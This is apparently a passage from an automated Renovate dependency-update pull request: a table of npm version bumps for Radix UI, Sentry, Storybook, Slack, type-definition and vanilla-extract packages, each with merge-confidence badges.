| [@radix-ui/react-alert-dialog](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.1` -> `1.1.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-alert-dialog/1.1.1/1.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-alert-dialog/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-alert-dialog/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-alert-dialog/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-alert-dialog/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-avatar](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.0` -> `1.1.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-avatar/1.1.0/1.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-avatar/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-avatar/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-avatar/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-avatar/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-checkbox](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.1` -> `1.1.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-checkbox/1.1.1/1.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-checkbox/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-checkbox/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-checkbox/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-checkbox/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-context-menu](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`2.2.1` -> `2.2.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-context-menu/2.2.1/2.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-context-menu/2.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-context-menu/2.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-context-menu/2.2.1/2.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-context-menu/2.2.1/2.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-dropdown-menu](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`2.1.1` -> `2.1.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-dropdown-menu/2.1.1/2.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-dropdown-menu/2.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-dropdown-menu/2.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-dropdown-menu/2.1.1/2.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-dropdown-menu/2.1.1/2.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-hover-card](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.1` -> `1.1.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-hover-card/1.1.1/1.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-hover-card/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-hover-card/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-hover-card/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-hover-card/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-menubar](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.1` -> `1.1.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-menubar/1.1.1/1.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-menubar/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-menubar/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-menubar/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-menubar/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-navigation-menu](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.2.0` -> `1.2.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-navigation-menu/1.2.0/1.2.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-navigation-menu/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-navigation-menu/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-navigation-menu/1.2.0/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-navigation-menu/1.2.0/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-popover](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.1` -> `1.1.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-popover/1.1.1/1.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-popover/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-popover/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-popover/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-popover/1.1.1/1.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-radio-group](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.2.0` -> `1.2.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-radio-group/1.2.0/1.2.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-radio-group/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-radio-group/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-radio-group/1.2.0/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-radio-group/1.2.0/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-scroll-area](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.0` -> `1.2.0`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-scroll-area/1.1.0/1.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-scroll-area/1.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-scroll-area/1.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-scroll-area/1.1.0/1.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-scroll-area/1.1.0/1.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-select](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`2.1.1` -> `2.1.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-select/2.1.1/2.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-select/2.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-select/2.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-select/2.1.1/2.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-select/2.1.1/2.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-slider](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.2.0` -> `1.2.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-slider/1.2.0/1.2.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-slider/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-slider/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-slider/1.2.0/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-slider/1.2.0/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-switch](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.0` -> `1.1.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-switch/1.1.0/1.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-switch/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-switch/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-switch/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-switch/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-tabs](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.0` -> `1.1.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-tabs/1.1.0/1.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-tabs/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-tabs/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-tabs/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-tabs/1.1.0/1.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-toast](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.2.1` -> `1.2.2`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-toast/1.2.1/1.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-toast/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-toast/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-toast/1.2.1/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-toast/1.2.1/1.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@radix-ui/react-tooltip](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.2` -> `1.1.3`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-tooltip/1.1.2/1.1.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-tooltip/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-tooltip/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-tooltip/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-tooltip/1.1.2/1.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@sentry/electron](https://redirect.github.com/getsentry/sentry-electron) | [`5.4.0` -> `5.7.0`](https://renovatebot.com/diffs/npm/@sentry%2felectron/5.4.0/5.7.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2felectron/5.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2felectron/5.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2felectron/5.4.0/5.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2felectron/5.4.0/5.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@sentry/esbuild-plugin](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/tree/main/packages/esbuild-plugin) ([source](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins)) | [`2.22.4` -> `2.22.6`](https://renovatebot.com/diffs/npm/@sentry%2fesbuild-plugin/2.22.4/2.22.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2fesbuild-plugin/2.22.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2fesbuild-plugin/2.22.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2fesbuild-plugin/2.22.4/2.22.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2fesbuild-plugin/2.22.4/2.22.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.32.0` -> `8.37.1`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.32.0/8.37.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.37.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.37.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.32.0/8.37.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.32.0/8.37.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@sentry/webpack-plugin](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/tree/main/packages/webpack-plugin) ([source](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins)) | [`2.22.4` -> `2.22.6`](https://renovatebot.com/diffs/npm/@sentry%2fwebpack-plugin/2.22.4/2.22.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2fwebpack-plugin/2.22.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2fwebpack-plugin/2.22.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2fwebpack-plugin/2.22.4/2.22.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2fwebpack-plugin/2.22.4/2.22.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@slack/web-api](https://slack.dev/node-slack-sdk/web-api) ([source](https://redirect.github.com/slackapi/node-slack-sdk)) | [`7.5.0` -> `7.7.0`](https://renovatebot.com/diffs/npm/@slack%2fweb-api/7.5.0/7.7.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@slack%2fweb-api/7.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@slack%2fweb-api/7.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@slack%2fweb-api/7.5.0/7.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@slack%2fweb-api/7.5.0/7.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/addon-essentials](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/essentials) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/essentials)) | [`8.3.3` -> `8.4.2`](https://renovatebot.com/diffs/npm/@storybook%2faddon-essentials/8.3.3/8.4.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-essentials/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-essentials/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-essentials/8.3.3/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-essentials/8.3.3/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/addon-interactions](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/interactions) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/interactions)) | [`8.3.3` -> `8.4.2`](https://renovatebot.com/diffs/npm/@storybook%2faddon-interactions/8.3.3/8.4.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-interactions/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-interactions/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-interactions/8.3.3/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-interactions/8.3.3/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/addon-links](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/links) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/links)) | [`8.3.3` -> `8.4.2`](https://renovatebot.com/diffs/npm/@storybook%2faddon-links/8.3.3/8.4.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-links/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-links/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-links/8.3.3/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-links/8.3.3/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/addon-mdx-gfm](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/gfm) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/gfm)) | [`8.3.3` -> `8.4.2`](https://renovatebot.com/diffs/npm/@storybook%2faddon-mdx-gfm/8.3.3/8.4.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-mdx-gfm/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-mdx-gfm/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-mdx-gfm/8.3.3/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-mdx-gfm/8.3.3/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@storybook/react-vite](https://redirect.github.com/storybookjs/storybook/tree/next/code/frameworks/react-vite) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/frameworks/react-vite)) | [`8.3.3` -> `8.4.2`](https://renovatebot.com/diffs/npm/@storybook%2freact-vite/8.3.3/8.4.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2freact-vite/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2freact-vite/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2freact-vite/8.3.3/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2freact-vite/8.3.3/8.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@types/mixpanel-browser](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/mixpanel-browser) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/mixpanel-browser)) | [`2.50.0` -> `2.50.2`](https://renovatebot.com/diffs/npm/@types%2fmixpanel-browser/2.50.0/2.50.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fmixpanel-browser/2.50.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fmixpanel-browser/2.50.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fmixpanel-browser/2.50.0/2.50.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fmixpanel-browser/2.50.0/2.50.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | [`20.16.9` -> `20.17.6`](https://renovatebot.com/diffs/npm/@types%2fnode/20.16.9/20.17.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/20.17.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/20.17.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/20.16.9/20.17.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/20.16.9/20.17.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@types/react-dom](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react-dom) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react-dom)) | [`18.3.0` -> `18.3.1`](https://renovatebot.com/diffs/npm/@types%2freact-dom/18.3.0/18.3.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact-dom/18.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact-dom/18.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact-dom/18.3.0/18.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact-dom/18.3.0/18.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@vanilla-extract/vite-plugin](https://redirect.github.com/vanilla-extract-css/vanilla-extract) ([source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/tree/HEAD/packages/vite-plugin)) | [`4.0.15` -> `4.0.17`](https://renovatebot.com/diffs/npm/@vanilla-extract%2fvite-plugin/4.0.15/4.0.17) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vanilla-extract%2fvite-plugin/4.0.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vanilla-extract%2fvite-plugin/4.0.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vanilla-extract%2fvite-plugin/4.0.15/4.0.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vanilla-extract%2fvite-plugin/4.0.15/4.0.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@vanilla-extract/webpack-plugin](https://redirect.github.com/vanilla-extract-css/vanilla-extract) ([source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/tree/HEAD/packages/webpack-plugin)) | [`2.3.13` -> `2.3.14`](https://renovatebot.com/diffs/npm/@vanilla-extract%2fwebpack-plugin/2.3.13/2.3.14) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vanilla-extract%2fwebpack-plugin/2.3.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vanilla-extract%2fwebpack-plugin/2.3.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vanilla-extract%2fwebpack-plugin/2.3.13/2.3.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vanilla-extract%2fwebpack-plugin/2.3.13/2.3.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
